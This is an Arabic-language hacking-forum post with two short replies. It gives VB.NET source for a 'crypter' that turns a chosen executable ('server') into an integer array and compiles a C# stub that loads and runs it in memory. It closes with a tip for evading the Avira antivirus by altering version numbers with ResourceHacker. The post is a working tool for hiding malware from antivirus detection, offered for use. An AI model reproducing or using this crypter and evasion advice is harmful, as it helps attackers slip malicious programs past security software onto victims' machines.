صنع برنامج تشفير للدوت نت بابسط الطرق

احصائياتى
الردود
2
المشاهدات
163
SAMPOP

SAMPOP

V • I • P
معلومات SAMPOP
إنضم
9 سبتمبر 2018
المشاركات
272
مستوى التفاعل
286
النقاط
63
العمر
19
نظام التشغيل
windows_xp
صنع برنامج تشفير للدوت نت بابسط الطرق
السلام عليكم و رحمة الله تعالي و بركاته
اليوم معنا كيفية صنع برنامج تشفير في دقائق معدودة
الفورم يحتوي علي Button1 باسم Server و TextBox1 و Button2 باسم Crypter فقط
لا تتقيد بالاسماء انت ضع ما تريد
هذه هي اكواد الفورم





C#:
Imports System.CodeDom.Compiler
Imports System.IO
Public Class Form1


    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Dim openFileDialog As System.Windows.Forms.OpenFileDialog = New System.Windows.Forms.OpenFileDialog() With
                   {
                       .Filter = "|*.exe"
                   }
        If (openFileDialog.ShowDialog() <> DialogResult.OK) Then
            MessageBox.Show("Server ?!?!?!")
        Else
            Me.TextBox1.Text = openFileDialog.FileName
        End If
    End Sub

    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        Dim str As String = "using System;class class1{static void Main(){int[] buffer = {انسخ هنا};byte[] final = new byte[buffer.Length];for (int i = 0; i < buffer.Length; i++){final[i] = Convert.ToByte(Math.Abs(buffer[i]));}AppDomain.CurrentDomain.Load(final).EntryPoint.Invoke(1, null);}}"
        Dim num As String = Me.Convert_ToByte(File.ReadAllBytes(Me.TextBox1.Text))
        Me.Crypter(str.Replace("ضع هنا اي شئ و اعد نسخه في هنا  ", num))
        MessageBox.Show("Encrypted Succefully ")
    End Sub


    Public Function Convert_ToByte(ByVal buffer As Byte()) As String
        Dim str As String = ""
        Dim numArray As Byte() = buffer
        Dim num As Integer = 0
        While num < CInt(numArray.Length)
            Dim num1 As Byte = numArray(num)
            str = If(Not num1.ToString().Contains("1"), String.Concat(str, "-", Convert.ToString(Convert.ToByte(num1)), ","), String.Concat(str, Convert.ToString(Convert.ToByte(num1)), ","))
            num = num + 1
        End While
        Dim str1 As String = str.ToString().Remove(str.Length - 1)
        Return str1
    End Function

    Public Sub Crypter(ByVal str As String)
        Dim codeDomProvider As System.CodeDom.Compiler.CodeDomProvider = System.CodeDom.Compiler.CodeDomProvider.CreateProvider("CSharp")
        Dim compilerParameter As CompilerParameters = New CompilerParameters() With
            {
                .GenerateExecutable = True,
                .OutputAssembly = "ضع اي اسم تريد و من المستحسن يكون دون صيغة فيما بعد اضف الصيغة للناتج ",
                .CompilerOptions = "/t:winexe"
            }
        Dim strArrays() As String = {str}
        codeDomProvider.CompileAssemblyFromSource(compilerParameter, strArrays)
    End Sub
End Class
و للتخلص من الافيرا استعمل ResourceHacker و غير في 0.0.0.0 بوضع اي عدد مثال يصبح 1.0.0.0 او 0.1.0.0
المهم سوف تجد ثلاثة من 0.0.0.0 قم بتغييرها كلها
ذمتم في رعاية الله و حفظه
 
iiYoyo

iiYoyo

مـشُرٍفَ إآقسًٌُُإآمـ إآلُتـ,صمـيَمـ
طاقم الإدارة
معلومات iiYoyo
إنضم
25 مارس 2019
المشاركات
235
مستوى التفاعل
260
النقاط
63
العمر
14
الإقامة
كوكب الارض
نظام التشغيل
windows_7
عاشت ايدك يا وحش 💛👌
 
assdsiwi

assdsiwi

:: Super Moderator ::
طاقم الإدارة
معلومات assdsiwi
إنضم
22 مارس 2019
المشاركات
163
مستوى التفاعل
173
النقاط
43
العمر
33
نظام التشغيل
windows_10
بطل
 

من نحن ؟؟

شبكة الصاعقة : هو احد منتديات امن المعلومات يهدف الى الوصول لاقصى الخبرات في الحماية

أعلى